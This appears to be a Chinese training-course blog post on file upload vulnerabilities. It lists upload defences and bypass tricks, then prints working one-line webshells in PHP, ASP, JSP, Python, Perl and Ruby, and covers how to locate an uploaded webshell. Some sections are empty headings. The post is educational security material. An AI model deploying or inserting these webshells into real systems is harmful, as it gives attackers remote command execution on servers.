第七次集中实习

1.文件上传防御手段及绕过手段总结

文件上传功能是许多应用程序的常见功能,但如果没有正确配置,可能会导致严重的安全漏洞。以下是常见的文件上传防御手段以及对应的绕过手段的总结:

文件上传防御手段

  1. 文件类型验证

    • 做法:验证上传文件的扩展名和MIME类型,确保只允许特定类型的文件上传(如图片、文档)。
    • 技术:检查Content-Type头部,使用白名单来过滤文件类型。
  2. 文件大小限制

    • 做法:限制上传文件的大小,以防止过大的文件消耗资源或攻击。
    • 技术:设置文件上传的大小限制,检查文件的Content-Length头部。
  3. 文件内容检查

    • 做法:分析文件内容,确保其符合预期类型,而不仅仅依赖文件扩展名或MIME类型。
    • 技术:解析文件的实际内容,例如使用图像处理库验证图像文件的格式。
  4. 文件路径和名称处理

    • 做法:避免直接将上传的文件存储在公共目录中,使用安全的文件路径和名称。
    • 技术:存储文件在一个隔离的目录,并对文件名进行随机化或哈希处理。
  5. 文件上传位置限制

    • 做法:将上传的文件存储在非Web可访问的目录中,避免直接从Web服务器访问。
    • 技术:将文件存储在应用程序的非公共目录,或者使用CDN进行文件分发。
  6. 用户权限控制

    • 做法:限制用户对上传功能的访问权限,确保只有授权用户才能上传文件。
    • 技术:使用身份验证和授权机制来保护文件上传功能。
  7. 对上传文件进行沙箱处理

    • 做法:将上传的文件放置在一个隔离的环境中,以避免潜在的安全风险。
    • 技术:使用虚拟化技术或容器化技术将文件上传隔离开来。

文件上传绕过手段

  1. 伪造文件类型

    • 绕过:攻击者可能伪造文件扩展名或MIME类型,以绕过文件类型检查。
    • 防御:仅依赖扩展名或MIME类型是不够的,必须结合文件内容检查。
  2. 使用双重扩展名

    • 绕过:如image.jpg.php,服务器可能只检查第一个扩展名。
    • 防御:对文件名进行严格处理,禁止上传包含多个扩展名的文件。
  3. 使用内嵌脚本

    • 绕过:攻击者上传包含恶意代码的文件(如PHP脚本),并通过Web服务器执行。
    • 防御:文件存储在非Web可访问目录,禁用服务器端脚本执行,严格验证文件内容。
  4. 绕过文件大小限制

    • 绕过:攻击者通过分块上传或使用压缩文件绕过文件大小限制。
    • 防御:在上传过程中实时检查文件大小,防止恶意分块上传。
  5. 文件内容隐藏

    • 绕过:攻击者可能通过文件的魔术字节或特殊编码隐藏恶意内容。
    • 防御:使用文件内容分析库(如图像处理库)来验证文件内容的真实性。
  6. 路径遍历

    • 绕过:攻击者尝试通过路径遍历技术上传文件到不允许的位置(如../)。
    • 防御:严格处理文件路径,确保上传文件只能存储在预定义的安全目录中。
  7. 利用文件头信息

    • 绕过:攻击者可能通过修改文件头信息绕过文件类型验证。
    • 防御:检查文件的实际内容而非仅依赖文件头信息,结合多个验证机制来提高安全性。

2. 文件上传常用一句话木马

一句话木马是指攻击者通过文件上传漏洞,将一段精简的恶意代码上传到服务器,达到远程执行代码、获取服务器权限的目的。以下是一些常见的一句话木马示例,但请注意,这些示例仅供学习和安全研究使用,不应在未授权的系统中进行任何非法操作。

常见的一句话木马示例

  1. PHP一句话木马

    <?php @eval($_POST['cmd']); ?>
    
    • 描述:此木马利用eval函数执行传入的cmd参数中的PHP代码,攻击者可以通过HTTP POST请求发送命令执行恶意代码。
  2. ASP一句话木马

    <% Execute(Request("cmd")) %>
    
    • 描述:此木马使用ASP的Execute函数执行传入的cmd参数中的命令。
  3. JSP一句话木马

    <%
    String cmd = request.getParameter("cmd");
    Runtime.getRuntime().exec(cmd);
    %>
    
    • 描述:此木马通过Runtime.getRuntime().exec()执行传入的cmd参数中的操作系统命令。
  4. Python一句话木马

    import os
    exec(os.getenv('cmd'))
    
    • 描述:此木马通过环境变量cmd执行Python代码。
  5. Perl一句话木马

    #!/usr/bin/perl
    use strict;
    use warnings;
    my $cmd = $ENV{'cmd'};
    system($cmd);
    
    • 描述:此木马通过环境变量cmd执行Perl命令。
  6. Ruby一句话木马

    #!/usr/bin/env ruby
    eval(ENV['cmd'])
    
    • 描述:此木马使用eval函数执行环境变量cmd中的Ruby代码。

防御措施

  1. 文件类型和内容检查:确保上传的文件符合预期类型,检查文件内容,防止脚本或代码注入。

  2. 路径和文件名处理:对文件名进行严格处理,避免路径遍历攻击,确保文件存储在安全的位置。

  3. 禁用执行权限:将上传目录设置为只读或禁用执行权限,防止上传的文件被当作脚本执行。

  4. 验证上传来源:对上传的文件进行来源和内容的验证,确保其符合业务需求。

  5. 实施安全审计:定期检查和审计系统日志,监控文件上传行为,发现异常行为并采取措施。

3. 课中所讲的三种webshell管理工具的使用方法 

蚁剑

冰蝎

哥斯拉

4. 文件上传无回显如何查找webshell地址

当文件上传攻击者无法在服务器的访问日志或Web服务器响应中看到webshell脚本执行的结果时,通常称为“无回显”。这意味着我们不能直接从HTTP响应或日志中看到webshell执行的情况,这使得发现webshell的URL变得更有挑战性。然而,仍然有一些技巧可以用来查找隐藏的webshell地址:

  1. 网络抓包:使用如Wireshark、Fiddler或Burp Suite等网络抓包工具来捕获和分析HTTP流量。这可以帮助你查找可能包含webshell请求的HTTP请求。

  2. 访问控制:检查Web服务器的访问控制日志,虽然可能没有回显,但攻击者的访问尝试可能会在日志中有所体现。

  3. 文件系统监控:如果有权限,可以检查服务器文件系统中的文件创建或修改时间,可能有新的文件被创建或修改,这些可能是webshell。

  4. 进程检查:检查系统上的进程,看是否有非正常的进程运行,例如不必要的解释器或脚本语言环境的进程。

  5. 目录遍历:通过访问服务器的已知目录来查找可能的webshell,特别是Web根目录和配置文件中提到的目录。

  6. Web服务后门:检查Web服务器配置文件,如.htaccesshtaccess或Nginx配置文件,看是否有非正常的配置设置。

  7. Web应用程序防火墙(WAF)日志分析:如果服务器上有安装WAF,可以检查WAF日志来查找可疑的访问模式。

  8. 搜索关键字:在服务器文件系统中搜索关键字,如evalexecsystem等,这些都是常见于webshell的函数。

  9. 定时命令执行:检查服务器上的定时任务,如cron配置,查看是否有恶意的定时任务执行。

  10. 插件/工具使用:使用特定的安全工具或插件,如wfuzznikto,这些工具可以帮助你扫描服务器上的文件,找可能的webshell。

  11. 反序列化攻击:如果应用中使用了序列化和反序列化,攻击者可能会利用这个漏洞创建webshell,对此类攻击可能需要使用特殊的工具或审计代码。

  12. 基线安全比较:使用基线安全配置,对比服务器的当前状态和基线状态差异,查找可能被攻击者修改的安全配置。

如果确认有webshell存在,但无法立即找到其地址,也可以考虑从防御角度出发,采取措施保护系统。例如,立即更改所有敏感账户的密码,禁用不必要的外部服务连接,给操作系统和所有服务打上最新补丁等。

5. 文件上传表单的无参/有参情况下构造表单

在处理文件上传功能时,理解如何在无参数和有参数的情况下构造表单是非常重要的。这可以帮助你在测试或构建Web应用时更好地控制和验证文件上传功能。以下是如何在不同情况下构造文件上传表单的指南。

1. 无参数情况下构造表单

无参数情况下,通常是指表单只包含文件上传字段,没有其他额外的表单字段。

2. 有参数情况下构造表单

有参数情况下,表单除了文件上传字段外,还包含其他表单字段,如文本输入、下拉选择等。

如何处理表单数据(服务器端)

在服务器端,你需要能够处理这些表单数据。以下是使用不同编程语言处理文件上传的示例:

总结

  • 无参数情况:仅包含文件上传字段。
  • 有参数情况:除了文件上传字段外,还包括其他表单字段。
  • 服务器端处理:根据使用的编程语言和框架,处理文件上传及其他表单数据。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值